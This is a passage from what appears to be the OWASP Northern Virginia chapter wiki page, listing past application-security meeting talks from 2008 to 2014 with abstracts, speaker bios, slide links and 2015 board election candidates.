'''DATE''': Tuesday, May 18th, 6pm Eastern Daylight Time<br> '''LOCATION''': Booz Allen Hamilton - 13200 Woodland Park Road Herndon, VA 20171<br> '''SPEAKER'''': Jeff Ennis, Senior Solutions Architect, Veracode<br> '''TITLE''': State of Software Security ([[Media:State of Software Security-Ennis.ppsx.zip]])
'''DESCRIPTION''':
A discussion of the current state of software security based on the compiled findings by Veracode from the dynamic and static code analysis they have performed for customers.

----

=== September 2009 ===

'''DATE''': Thursday, September 17, 2009. 6:00pm Eastern Daylight Time<br> '''LOCATION''': 22260 Pacific blvd, Sterling, VA. 20166<br> '''TOPIC''': "Fortify 360"<br> '''SPEAKER''': Erik Klein (Fortify Software), Eric Dalci (Cigital)<br> '''DESCRIPTION''':

We're pleased to invite you to our next week's OWASP Session (Thursday September 17th). We will be hosting a presentation, demo and hands on session of Fortify 360 (http://www.fortify.com). Fortify 360 includes Fortify SCA (Source Code Analyzer) and the Fortify 360 Server which is Fortify's solution for an enterprise deployment of SCA. The session will start with a presentation by Fortify engineers, followed by a demo and finally a hands on session where the audience will be free to install Fortify SCA on the machine and try it the SCA tool on a sample application that we will provide. The audience will also be introduced with the Fortify 360 Server and try some of the enterprise level features such as collaborative code review, metrics and so on. Bring your laptop if you want to try Fortify 360!

The target audience is anyone interested in Secure Code Review with a Static Analysis tool at the desktop level and/or enterprise level. We will need to register visitors before hand...please email wade.woolwine@owasp.org for registration and confirm attendance. Pizza and refreshments will be served.

'''DATE''': Thursday, September 3, 2009. 6:00pm.<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Conducting Application Assessment"<br> '''SPEAKER''': Jeremy Epstein, SRI<br> '''DESCRIPTION''':

After the 2000 election, many states launched headlong into electronic voting systems to avoid the problems with "hanging chads". Once problems with those systems started appearing, many localities started moving to optical scan, which was used by a majority of US voters in the 2008 election. There are other technologies in use around the country, including lever machines, vote-by-mail, vote-by-phone, and Internet voting. What are the tradeoffs among these technologies? Particularly relevant to OWASP, what are the security issues associated with different types of equipment, and what measures do vendors of voting equipment use to try to address the security problems? Are software security problems important, or can non-technical measures protect against them? In this talk, we'll discuss a wide variety of voting technologies, and their pros and cons from both a technical and societal perspective.

'''ABOUT THE SPEAKER''':

Jeremy Epstein is Senior Computer Scientist at SRI International. His background includes more than 20 years experience in computer security research, product development, and consulting. Prior to joining SRI International, he was Principal Consultant with Cigital, and before that spent nine years as Senior Director of Product Security at Software AG, an international business software company. Within the area of voting systems, Jeremy has been involved for over five years in voting technology and advocacy, both as an employee and as an independent consultant.

----

=== July 2009 ===

'''DATE''': July 9th 6pm-9pm EST<br> '''LOCATION''': 13200 Woodland Park Road Herndon, VA 20171<br> '''TOPIC''': "Ounce's 02"<br> '''SPEAKER(S)''': Dinis Cruz, OWASP, Ounce Labs.<br> '''DESCRIPTION''': So what is O2?

Well in my mind O2 is a combination of advanced tools (Technology) which are designed to be used on a particular way (Process) by knowledgeable Individuals (People)

Think about it as a Fighter Jet who is able to go very fast, has tons of controls, needs to be piloted by somebody who knows what they are doing and needs to have a purpose (i.e. mission).

Basically what I did with O2 was to automate the workflow that I have when I'm engaged on a source-code security review.

Now, here is the catch, this version is NOT for the faint-of-heart. I designed this to suit my needs, which although are the same as most other security consultants, have its own particularities :)

The whole model of O2 development is based around the concept of automating a security consultant’s brain, so I basically ensure that the main O2 Developer (Dinis Cruz) has a very good understanding of the feature requirements of the targeted Security Consultant (Dinis Cruz) :) . And this proved (even to my surprise) spectacularly productive, since suddenly I (i.e. the security consultant) didn't had to wait months for new features to be added to its toolkit. If there was something that needed to be added, it would just be added in days or hours.

----

=== June 2009 ===

''Gary McGraw, Cigital Inc.'':''Building Security In Maturity Model''<br> Later, an interview: ''Jim Routh, formerly of DTCC'':''The Economic Advantages of a Resilient Supply Chain- Software Security'' ''<br>''

Gary McGraw talked about the experience he, Sammy Migues, and Brian Chess gained conducting a survey of some of America's top Software Security groups. Study results are available under the [http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Share Alike license] at [http://www.bsi-mm.com www.bsi-mm.com]. Gary described the common structural elements and activities of successful software security programs, present the maturity model that resulted from survey data, and discuss lessons learned from listening to those leading these groups.

Jim Routh gave an incredibly insightful interview regarding his own experiences crafting their security group.

Download presentation notes at: [http://www.owasp.org/images/0/03/JMR-Economics_of_Security_Goups.ppt The Economic Advantages of a Resilient Supply Chain- Software Security]

----

=== May 2009 ===

''Eric Dalci, Cigital Inc.'':''Introduction to Static Analysis''<br> Later, a panel:

*Steven Lavenhar, Booz Allen Hamilton;
*Eric Dalci, Cigital Inc.

Panel moderated by John Steven <br>

This session is an introductory to Static Analysis. This session presents the different types of analysis used by today's Static Analysis tools. Examples of direct application to find vulnerabilities will be shown (ex: Data Flow Analysis, Semantic, Control Flow, etc.). Current limitations of Static Analysis will also be exposed. This session is tool agnostic, but will cover the approach taken by various leading commercial (as well as open-source) tools.

Download: [http://www.owasp.org/images/e/ea/OWASP_Virginia_Edalci_May09.pdf Intro to Static Analysis]

----

=== April 2009 ===

''Jeremiah Grossman, Whitehat Security'': '''Top 10 Web Hacking Techniques 2008'''<br> Jeremiah Spoke on (what he and colleagues determined were the) top ten web hacking techniques of 2008. This talk was a preview of his RSA '09 talk.<br>

Download http://www.whitehatsec.com/home/assets/presentations/09PPT/PPT_OWASPNoVA04082008.pdf

<br> Later,

*Nate Miller, Stratum Security;
*Jeremiah Grossman, Whitehat Security;
*Tom Brennan, Whitehat Security; and
*Wade Woolwine, AOL

served as penetration testing panels answering questions posed and moderated by Ken Van Wyk.

----

=== February 2009 ===

''Ryan C. Barnett, Breach Security'': '''Patching Challenge: Securing WebGoat with ModSecurity'''

Identification of web application vulnerabilities is only half the battle with remediation efforts as the other. Let's face the facts, there are many real world business scenarios where it is not possible to update web application code in either a timely manner or at all. This is where the tactical use-case of implementing a web application firewall to address identified issues proves its worth.

This talk will provide an overview of the recommended practices for utilizing a web application firewall for virtual patching. After discussing the framework to use, we will then present a very interesting OWASP Summer of Code Project where the challenge was to attempt to mitigate as many of the OWASP WebGoat vulnerabilities as possible using the open source ModSecurity web application firewall. During the talk, we will discuss both WebGoat and ModSecurity and provide in-depth walk-throughs of some of the complex fixes. Examples will include addressing not only attacks but the underlying vulnerabilities, using data persistence for multiple-step processes, content injection and even examples of the new LUA programming language API. The goal of this talk is to both highlight cutting edge mitigation options using a web application firewall and to show how it can effectively be used by security consultants who traditionally could only offer source code fixes.

Ryan C. Barnett is the Director of Application Security Research at Breach Security and leads Breach Security Labs. He is also a Faculty Member for the SANS Institute, Team Lead for the Center for Internet Security Apache Benchmark Project and a Member of the Web Application Security Consortium where he leads the Distributed Open Proxy Honeypot Project. Mr. Barnett has also authored a web security book for Addison/Wesley Publishing entitled "Preventing Web Attacks with Apache."

(This talk is a preview of Ryan's talk at Blackhat Federal the following week - see https://www.blackhat.com/html/bh-dc-09/bh-dc-09-speakers.html#Barnett )

Download [[Media:Virtual_Patching_Ryan_Barnett_Blackhat_Federal_09.zip|WAF Virtual Patching Challenge: Securing WebGoat with ModSecurity]]

''John Steven, Cigital'': '''Moving Beyond Top N Lists'''

Download [[Media:Moving_Beyond_Top_N_Lists.ppt.zip|Moving Beyond Top N Lists]]

<br> Cigital published an article: The Top 11 Reasons Why Top 10 (or 25) Lists Don’t Work. Yet, these lists are a staple of conference abstracts, industry best practice lists, and the like. Are they good or bad? We’ll explore how to get beyond the Top 10 (or 25) list in making your software security effort real.

John is Senior Director, Advanced Technology Consulting at Cigital. His experience includes research in static code analysis and hands-on architecture and implementation of high-performance, scalable Java EE systems. John has provided security consulting services to a broad variety of commercial clients including two of the largest trading platforms in the world and has advised America's largest internet provider in the Midwest on security and forensics. John led the development of Cigital's architectural analysis methodology and its approach to deploying enterprise software security frameworks. He has demonstrated success in building Cigital's intellectual property for providing cutting-edge security. He brings this experience and a track record of effective strategic innovation to clients seeking to change, whether to adopt more cutting-edge approaches, or to solidify ROI. John currently chairs the SD Best Practices security track and co-edits the building security in department of IEEE's Security and Privacy magazine. John has served on numerous conference panels regarding software security, wireless security and Java EE system development. He holds a B.S. in Computer Engineering and an M.S. in Computer Science from Case Western Reserve University.

----

=== January 2009 ===

To kick off 2009, our January meeting featured a discussion of the relationship between application security and CMMI, and an overview of the OWASP ASVS project.

''Michele Moss, Booz Allen Hamilton'': '''Evolutions In The Relationship Between Application Security And The CMMI'''

Addressing new and complex threats and IT security challenges requires repeatable, reliable, rapid, and cost effective solutions. To implement these solutions, organizations have begun to align their security improvement efforts with their system and software development practices. During a “Birds of a Feather” at the March 2007 SEPG, a group of industry representatives initiated an effort which led to the definition of assurance practices that can be applied in the context of the CMMI. This presentation will provide an understanding how applying the assurance practices in the context of security contribute to the overall increased quality of products and services, illustrate how the a focus on assurance in the context of CMMI practices is related to application security practices, and present and approach to evaluate and improve the repeatability and reliability of assurance practices.

Michele Moss, CISSP, is a security engineer with more than 12 years of experience in process improvement. She specializes in integrating assurance processes and practices into project lifecycles. Michele is the Co-Chair of the DHS Software Assurance Working Group on Processes & Practices. She has assisted numerous organizations with maturing their information technology, information assurance, project management, and support practices through the use of the capability maturity models including the CMMI, and the SSE-CMM. She is one of the key contributors in an effort to apply an assurance focus to CMMI.

Slides available: [[Media:Moss-AppSecurityAndCMMI.pdf|Evolutions In The Relationship Between Application Security And The CMMI]]

''Mike Boberski, Booz Allen Hamilton'': '''About OWASP ASVS'''

The primary aim of the OWASP ASVS Project is to normalize the range of coverage and level of rigor available in the market when it comes to performing application-level security verification. The goal is to create a set of commercially-workable open standards that are tailored to specific web-based technologies.

Mike Boberski works at Booz Allen Hamilton. He has a background in application security and the use of cryptography by applications. He is experienced in trusted product evaluation, security-related software development and integration, and cryptomodule testing. For OWASP, he is the project lead and a co-author of the OWASP Application Security Verification Standard, the first OWASP standard.

Slides available: [[Media:About_OWASP_ASVS_Web_Edition.ppt|About OWASP ASVS]]

----

=== November 2008 ===

For our November 2008 meeting, we had two great presentations on software assurance and security testing.

''Nadya Bartol, Booz Allen Hamilton'': '''Framework for Software Assurance'''

Nadya's presentation will provide an update on the Software Assurance Forum efforts to establish a comprehensive framework for software assurance (SwA) and security measurement. The Framework addresses measuring achievement of SwA goals and objectives within the context of individual projects, programs, or enterprises. It targets a variety of audiences including executives, developers, vendors, suppliers, and buyers. The Framework leverages existing measurement methodologies, including Practical Software and System Measurement (PSM); CMMI Goal, Question, Indicator, Measure (GQ(I)M); NIST SP 800-55 Rev1; and ISO/IEC 27004 and identifies commonalities among the methodologies to help organizations integrate SwA measurement in their overall measurement efforts cost-effectively and as seamlessly as possible, rather than establish a standalone SwA measurement effort within an organization. The presentation will provide an update on the SwA Forum Measurement Working Group work, present the current version of the Framework and underlying measures development and implementation processes, and propose example SwA measures applicable to a variety of SwA stakeholders. The presentation will update the group on the latest NIST and ISO standards on information security measurement that are being integrated into the Framework as the standards are being developed.

Slides available: [http://www.epsteinmania.com/owasp/Bartol-MeasurementForOWASP11-13-08.pdf Framework for Software Assurance]

''Paco Hope, Cigital'': '''The Web Security Testing Cookbook'''

The Web Security Testing Cookbook (O'Reilly & Associates, October 2008) gives developers and testers the tools they need to make security testing a regular part of their development lifecycle. Its recipe style approach covers manual, exploratory testing as well automated techniques that you can make part of your unit tests or regression cycle. The recipes cover the basics like observing messages between clients and servers, to multi-phase tests that script the login and execution of web application features. This book complements many of the security texts in the market that tell you what a vulnerability is, but not how to systematically test it day in and day out. Leverage the recipes in this book to add significant security coverage to your testing without adding significant time and cost to your effort.

Congratulations to Tim Bond who won an autographed copy of Paco's book. Get your copy here [[http://www.amazon.com/Security-Testing-Cookbook-Paco-Hope/dp/0596514832]]

Slides available: [http://www.epsteinmania.com/owasp/PacoHope-WebSecCookbook.pdf The Web Security Testing Cookbook]

----

=== October 2008 ===

For our October 2008 meeting, we had two fascinating talks relating to forensics.

''Dave Merkel, Mandiant'': '''Enterprise Grade Incident Management - Responding to Persistent Threats'''

Dave Merkel is Vice President of Products at Mandiant, a leading provider of information security services, education and products. Mr. Merkel has worked in the information security and incident response industry for over 10 years. His background includes service as a federal agent in the US Air Force and over 7 years experience directing security operations at America Online. He currently oversees the product business at Mandiant, and is in charge of building Mandiant Intelligent Response - an enterprise incident response solution. But no, he won't be selling you anything today.

Slides available: [http://www.epsteinmania.com/owasp/Mandiant-EnterpriseIRandAPTpresentation.pdf Enterprise Grade Incident Management - Responding to Persistent Threats]

''Inno Eroraha, NetSecurity'': '''Responding to the Digital Crime Scene: Gathering Volatile Data'''

Inno Eroraha is the founder and chief strategist of NetSecurity Corporation, a company that provides digital forensics, hands-on security consulting, and Hands-on How-To® training solutions that are high-quality, timely, and customer-focused. In this role, Mr. Eroraha helps clients plan, formulate, and execute the best security and forensics strategy that aligns with their business goals and priorities. He has consulted with Fortune 500 companies, IRS, DHS, VA, DoD, and other entities.

Slides available: [http://www.epsteinmania.com/owasp/NetSecurity-RespondingToTheDigitalCrimeScene-GatheringVolatileData-TechnoForensics-102908.pdf Responding to the Digital Crime Scene: Gathering Volatile Data]

=== History ===

The original DC Chapter was founded in June 2004 by [mailto:jeff.williams@owasp.org Jeff Williams] and has had members from Virginia to Delaware. In April 2005 a new chapter, OWASP Washington VA Local Chapter, was formed and the DC Chapter was renamed to DC-Maryland. The two are sister chapters and include common members and shared discourse. The chapters meet in opposite halves of the month to facilitate this relationship.

==== Chapter Groups ====

Within the chapter, various common interests spring up. We've created Google groups to manage collaboration amongst participants for these topics. Feel free to join and participate in:

*[http://groups.google.com/group/novaowasp_threatmodeling Threat Modeling]
*[http://groups.google.com/group/novaowasp_mobile Mobile]

=== OWASP NoVa Members On Twitter ===

Mike McCabe [http://twitter.com/mccabe615 http://twitter.com/mccabe615]

John Steven [http://twitter.com/m1splacedsoul http://twitter.com/m1splacedsoul]

Jack Mannino [http://twitter.com/jack_mannino http://twitter.com/jack_mannino]

Ben Tomhave [http://twitter.com/falconsview http://twitter.com/falconsview]

Ken Johnson [http://twitter.com/cktricky http://twitter.com/cktricky]

Mike Smith [http://twitter.com/rybolov http://twitter.com/rybolov]

Trevor Hawthorn [http://twitter.com/packetwerks http://twitter.com/packetwerks]

Jeremy Long [http://twitter.com/ctxt http://twitter.com/ctxt]

Ari Elias-Bachrach [http://twitter.com/angelofsecurity http://twitter.com/angelofsecurity]

Venkat Sundaram [http://twitter.com/Vnk3889 http://twitter.com/Vnk3889]

==== Knowledge ====

The Northern Virginia (NoVA) chapter is committed to compiling resources on interesting and valuable topic areas. We hope that this structure helps you access information pertinent to your tasks at hand as you move through a secure application development life cycle. Currently, our topic areas of focus include activities such as:

*Threat Modeling
*[[Code Review and Static Analysis with tools]]
*Penetration Testing and Dynamic Analysis tools
*Monitoring/Dynamic patching (WAFs)

Certain projects our members are involved in cross-cut these activities, providing value throughout. They include:

*ASVS

=== Static Analysis Curriculum ===

*For an introduction to the OWASP Static Analysis (SA) Track goals, objectives, and session roadmap, please see [http://www.owasp.org/index.php/Image:OWASP_NoVA_SA_Track_Final_20090408.ppt this presentation].

The following is the agenda of the OWASP Static Analysis track roadmap for the [http://www.owasp.org/index.php/Virginia_(Northern_Virginia) Northern Virginia Chapter].

[[Image:Owasp SAtrack plan.png|OWASP Static Analysis Roadmap - Northern Virginia Chapter 2009]]

'''Contacts'''<br> Questions related to this curriculum should be sent to [mailto:John.Steven@owasp.org John Steven], who is the Northern Virginia chapter leader.

<br>

=== Flash Talk Resources ===

Chandu Ketkar on OFS. Download: [http://www.owasp.org/images/1/1c/OFS.pptx OFS Presentation.] <br> [http://jack-mannino.blogspot.com/ Jack Mannino] on Google and Searching for Personal Information <br> Jesse Ou on XML Bombs. Download: [http://www.owasp.org/images/1/18/OWASP_JOU_XML_DTD_Attacks.pptx XML DTD Presentation] <br>

__NOTOC__ <headertabs />

<paypal>Northern Virginia</paypal>

[[Category:OWASP Chapter]]
[[Category:United States]]
[[Category:Virginia]]
[[Category:Washington,_DC]]

Virginia

2015-11-05T21:06:27Z

Michael McCabe:

==== About ====

[[Image:Owasp-nova.JPG|right|275px|Owasp-nova.JPG]]The '''OWASP Northern VA Local Chapter''' meetings are FREE and OPEN to anyone interested in learning more about application security. We encourage individuals to provide knowledge transfer via hands-on training and presentations of specific OWASP projects and research topics and sharing SDLC knowledge.

We the encourage vendor-agnostic presentations to utilize the OWASP Powerpoint template when applicable and individual volunteerism to enable perpetual growth. As a 501(3)c non-profit association donations of meeting space or refreshments sponsorship is encouraged, simply contact the local chapter leaders listed on this page to discuss. Prior to participating with OWASP please review the Chapter Rules.

The chapter is committed to providing an engaging experience for a variety of audience types ranging from local students and those beginning in app-sec, to those experienced and accomplished professionals who are looking for competent collaborators for OWASP-related projects. To this end, we will continue to conduct both monthly chapter meetings as well as out-of-band curricula, on application security topics.

{{Chapter Template|chaptername=Virginia|extra =Come see us at a chapter meeting, jump on our Google Group, or email any of us directly.

=== 2015 Chapter Election Candidates ===
*Mike McCabe - Board Chair
**OWASP Membership ID: 020000901
**Endorsement - Jack Mannino, Current Board Chair
**Full Disclosure: Mike reports directly to me at our day job.
**Mike is one of the most ethical, hard working, and analytical people I've had the pleasure to meet. In his previous two years serving on the OWASP NoVa board, Mike has been instrumental in keeping a healthy pipeline of interesting speakers as well as helping carve out new initiatives based on chapter feedback. I fully vouch for both his character and his ability to run the chapter in an ethical, high quality manner.
*Akshay Sivananda
**OWASP Membership ID: 020000050
**Endorsement - Ping Ning, Chapter Member
**Akshay is a seasoned information security professional, with broad experience in secure SDLC, vulnerability management, and software security initiative. I worked with Akshay before and enjoyed working with him. He was very supportive and always ready to provide a helping hand. He always has an open mind and respects various opinions. I think Akshay is a great candidate for the Owasp NoVA board and believe he will make significant contribution to the chapter. As a regular member of Owasp, I wholeheartedly endorse Akshay for the Owasp NoVA chapter board.
*Abdullah Munawar
**OWASP Membership ID: 020000037
**Endorsement - Jon Callahan, Chapter Member
**I worked with Abdullah for about a year and can personally attest to not only his knowledge but also his passion and drive to further himself in the security field. When committing to something, you'll know he will follow through and because of this, was my goto guy until we parted ways. Add on the 8 years worth of involvement with OWASP and you get someone who understands exactly how this chapter works and is willing to put the time in to keep it as great as it's been.

=== Chapter Board ===
Previously having had a Chapter Leader, then a Chapter "Program Committee", the chapter is now run by a full board (alphabetical order):
* Michael McCabe - Board Chair
* Abdullah Munawar
* Akshay Sivananda

Board member responsibilities include:

<pre style="white-space: pre-wrap;"> * Providing governance for chapter and member activities in terms chapter mission and OWASP code of ethics
* Recruiting OWASP membership
* Driving OWASP NoVA Chapter attendance and involvement
* Deferring to, facilitating, and supporting the activities and projects of chapter membership
* Eliciting, scheduling, and coordinating chapter panels, speakers, and other sessions
* Scouting, clearing, and scheduling chapter meeting venues and catering
* Identifying opportunities for collaboration between chapter membership, OWASP global committees, and other organizations
* Collecting and auditing use of chapter funds
* Voting on chapter matters
</pre>
For more information on how the board was elected and what it's responsibilities are, please see: [https://docs.google.com/document/d/1h8GTqsWg2xiTwWAWS-Ra6_GU4eJGt44aa1hFc9EQloU/edit?hl=en_US&authkey=CIS9zFM Chapter Board Election] |mailinglistsite=https://groups.google.com/forum/#!forum/owasp-nova|emailarchives=https://groups.google.com/forum/#!forum/owasp-nova}}

You may also want to follow [http://twitter.com/OWASPNoVA/ @OWASPNoVA] on Twitter.

=== Schedule ===

Meetings are (generally) held the first Thursday of the month.

Note: We need speakers and topics! If you want to present, please contact [mailto:michael.mccabe@owasp.org Mike] or [mailto:abdullah.munawar@owasp.org Abdullah]. We're very open to hearing from all our members.

== Next Meeting ==

We'll post all meetings on the Meetup page below.

We can also be contacted through the comment or messages systems on Meetup.

For latest news check the meetup page here: [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/ Meetup].

== Past meetings ==

===September 2014===
'''Date/Time:''' September 4th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/200805882/ Meetup]

'''AGENDA:'''
We will cover some chapter business then go straight into a session covering Ruby on Rails Security.

'''Presentation Title:'''
The World of Ruby on Rails Security

'''Abstract:'''
Take a quick trip through the world of Ruby on Rails security! The journey will start with an overview of security features offered by the popular web framework, then detour through dangerous pitfalls and unsafe defaults, and finally end with suggestions for improving security in Rails apps and integrating improvements into the development process.

'''Speaker Bio:'''
Justin Collins is a member of the application security team at Twitter and the primary author of Brakeman, a static analysis security tool for Ruby on Rails.

----

===July 2014===
'''Date/Time:''' July 10th, 2014 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/191678702/ Meetup]

'''AGENDA:'''
We will have a technical presentation on OAuth, and we will have an open forum on some upcoming changes to the chapter's format that we want feedback on before we move ahead with them. Our goal is to make OWASP NoVa a group that not only spreads education, but produces material for the broader application security community. Please join us and have your say in the way OWASP NoVa runs in the future!

'''Presentation Title:'''
OAuth 1.0 Authorization and Security

'''Abstract:'''
OAuth 1.0 is an authorization standard based on the idea of a “valet key”. This presentation will provide an overview of the OAuth 1.0 authorization model, how it may fit in the enterprise environment, and some security implications for designers and security analyzers. OAuth 2.0 framework, the proposed standard to replace OAuth 1.0, will also be briefly discussed.

'''Speaker Bio:'''
Ping Ning is a senior consultant at Cigital with 20 years of development and security experiences. He is practicing many software security services for clients, including architecture risk analysis, security architecture and design, secure code review, penetration testing, building security programs, and tools deployment and training.

----

===February 2013===
'''Date/Time:''' February 7th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.meetup.com/OWASP-Northern-Virginia-Chapter/events/101839862/ Meetup]

'''AGENDA:'''
* News / Updates
* Talk: Jeffrey Walton - "Securing Wireless Channels in the Mobile Space", [[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]]
* Firetalks!

'''Presentation Title:'''
Securing Wireless Channels in the Mobile Space

'''Abstract:'''
Secure channels are a cornerstone to individuals and employees on the go. The mobile environment adds additional pressures to securely delivering content to users - irregardless of whether its an email service delivering personal messages to a user, an organization providing company secrets to a mobile workforce, or a content provider streaming protected media to a subscriber. This talk will discuss the mobile environment, challenges to securely delivering content, examine past failures, offer remediation for issues in the environment, provide sample code for Android, iOS, .Net, OpenSSL, and discuss initiatives to address known issues.

'''Speaker Bio:'''
Jeff has nearly 15 years of experience in a variety of roles including Systems Engineer, System Administrator, Developer, Security Engineer and Security Architect. He has worked with a number of Federal agencies and private institutions, including the Treasury Department, Social Security Administration, State Department, Diplomatic Security Service, financial institutions, and defense contractors. He has designed mobile solutions; developed secure containers; implemented secure channels; integrated management functions such as password lockouts and remote wipes; performed code reviews; and integrated security libraries such as Microsoft CAPI, Certicom Security Builder, OpenSSL and Crypto++. Jeff has also overseen and performed certification and accreditation audits, secure code reviews, and architectural risk assessments on traditional and mobile systems of varying code base sizes (primarily Objective C, C/C++ with Java, .Net).

'''Downloads:'''
[[Media:Securing-Wireless-Channels-in-the-Mobile-Space.ppt|Presentation Slides]], [[Media:pubkey-pin-supplement.pdf|Supplement with code excerpts]], [[Media:pubkey-pin-android.zip|Android sample program]], [[Media:pubkey-pin-ios.zip|iOS sample program]], [[Media:pubkey-pin-dotnet.zip|.Net sample program]], [[Media:pubkey-pin-openssl.zip|OpenSSL sample program]]

----

===January 2013===
'''Date/Time:''' January 10th, 2013 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/5106285036 Eventbrite]

'''AGENDA:'''
* News / Updates
* Upcoming chapter elections and 2013 plans
* Talk: "Automating (Some) Android Security Testing"
* Firetalks!

'''Presentation Title:'''
Automating (Some) Android Security Testing

'''Abstract:'''
Dynamically assessing an Android application for security issues requires examining many different layers. Some areas are extremely feasible to automate, while some areas may lend themselves better to manual analysis or semi-automated analysis. This presentation will present a more semi-automated approach to assessing applications rather than 'fire and forget' testing. We'll also look at some of the prerequisites for performing Android testing as well as some of the essentials for things you'll want in your testing environment (such as coffee and Red Bull).

'''Speaker Bio:'''
[https://www.owasp.org/index.php/User:Jack_Mannino Jack Mannino]

----

===October 2012===
'''Date/Time:''' October 4th, 2012 @ 6:30pm

'''Location:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''Registration:''' [http://www.eventbrite.com/event/4430947082 Eventbrite]

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/Dan_Cornell Dan Cornell] - "Benchmarking Web Application Scanners for YOUR Organization", [https://www.owasp.org/images/7/73/OWASP_BenchmarkingWebApplicationScannersForYourOrganization_Content-1.pptx Presentation Slides]
* Firetalks!

'''Presentation Title:'''
Benchmarking Web Application Scanners for YOUR Organization

'''Abstract:'''
Web applications pose significant risks for organizations. The selection of an appropriate scanning product or service can be challenging because every organization develops their web applications differently and decisions made by developers can cause wide swings in the value of different scanning technologies. To make a solid, informed decision, organizations need to create development team- and organization-specific benchmarks for the effectiveness of potential scanning technologies. This involves creating a comprehensive model of false positives, false negatives and other factors prior to mandating analysis technologies and making decisions about application risk management. This presentation provides a model for evaluating application analysis technologies, introduces an open source tool for benchmarking and comparing tool effectiveness, and outlines a process for making organization-specific decisions about analysis technology selection.

'''Speaker Bio:'''
Dan Cornell has over 15 years experience architecting and developing web-based software systems. As CTO, he leads Denim Group's security research team in investigating the application of secure coding and development techniques to improve web-based software development methodologies. He also heads the Denim Group security research team, investigating the application of secure coding and development techniques to the improvement of web-based software development methodologies. Dan currently serves as the OWASP San Antonio chapter leader, member of the OWASP Global Membership Committee and co-lead of the OWASP Open Review Project. Dan has spoken at numerous security conferences, such as RSA in San Francisco, OWASP EU Research in Athens and OWASP AppSec USA in Minneapolis.

----

=== July 2012 ===
'''Date/Time:''' July 12th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: [https://www.owasp.org/index.php/John_Steven| John Steven] - "Password Storage Security"
* Firetalks!

'''Presentation Title:'''
"Password Storage Security" [[Media:PSM_-_Problem_Definition.pdf|Password Storage Security.pdf]]

'''Abstract:'''
During the June meeting we discussed the LinkedIn password theft which was just beginning its the news cycle. We'll use the July chapter meeting to discuss issues around password hashing and a solution. While wholly different schemes for protecting passwords at rest are preferable, it's instructive to look at hashing passwords as a threat modeling exercise and take the time to follow through to a fix.

To read up on the issue, look at my latest blog post on the topic: [http://goo.gl/sGyi8|Justice League Blog - Securing Password Storage]

For those who were sufficiently intrigued, mystified, or inspired by the presentation on password protection at the last chapter meeting, Coursera is offering a free 6-week Stanford course on cryptography that begins on August 27th ("Learn about the inner workings of cryptographic primitives and how to apply this knowledge in real-world applications!"): [https://www.coursera.org/course/crypto|Crypto Course]

'''Speaker Bio:'''

See [https://www.owasp.org/index.php/John_Steven| John Steven Bio]

----

=== June 2012 ===
'''Date/Time:''' June 7th, 2012 @ 6:30pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home LivingSocial], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* Talk: Ken Johnson (LivingSocial) - "AppSec, Ritalin, and Failing Fast"
* Firetalks!

'''Presentation Title:'''
"AppSec, Ritalin, and Failing Fast" [https://www.owasp.org/images/e/e9/Ken_Johnson_July_2012.pptx AppSec, Ritalin, and Failing Fast Presentation]

'''Abstract:'''
In early April Ken Johnson and Matt Ahrens presented a high-level overview of building an Application Security program at LivingSocial. This talk will differ in that it will focus on the granular aspects involved with introducing security into an incredibly intense development environment. The discussion will be compromised of experiences in:
* Developing technical solutions to solving difficult challenges
* Remaining proactive with an increased workload
* What it means to innovate

'''Speaker Bio:'''

Ken Johnson is the Application Security Manager for LivingSocial.com. Prior to joining LivingSocial.com, Ken worked in various application security consulting roles. Ken is the primary developer of the Web Exploitation Framework (wXf) and enjoys contributing to other open source projects as often as time permits. Ken has spoken at AppSec DC 2010 & 2012, OWASP DC and Phoenix chapters and is a member of the Attack Research Team.

----

=== May 2012 ===
'''Date/Time:''' May 3rd, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''AGENDA:'''
* News / Updates
* "Chill Out" conversations (formal talked pushed back due to logistical issues)

----

=== April 2012 ===
'''Date/Time:''' April 16th, 2012 @ 6pm

'''Location Sponsor:''' [http://corporate.livingsocial.com/home Living Social], 11600 Sunrise Valley Drive, Reston, VA

'''Food Sponsor:''' Jeremy Long - jeremy.long[at]owasp.org

'''AGENDA:'''
* News / Updates
* Talk: "Malicious Code Detection or BRIC Breaking Through Static Analysis" by Masha Khainson (Cigital)
* Firetalks!
* ISSA NoVA Social @Champps! :)

'''Presentation Title:''' "Malicious Code Detection or BRIC Breaking Through Static Analysis"

'''Abstract:'''
Malicious Code Detection or BRIC Breaking Through Static Analysis: As organizations outsource development to less trustworthy providers malware becomes as much a problem as introduction of honest vulnerability by one's own development shop. Assessment practices currently look for vulnerability within source code and a running systems but these are but a few of windows of opportunity for malware introduction. This presentation demonstrates an approach for augmenting an existing security practice with the capability to detect potentially malicious code through secure code review. First, we show how to break malicious intent--often quite subtle--into concrete patterns we can reliably detect. The framework then demonstrates how to build suspicion around reliance of particular patterns' use in concert which, increasingly, imply malicious intent. These techniques will be explained through a demonstration in a real world application.

'''Bio'''
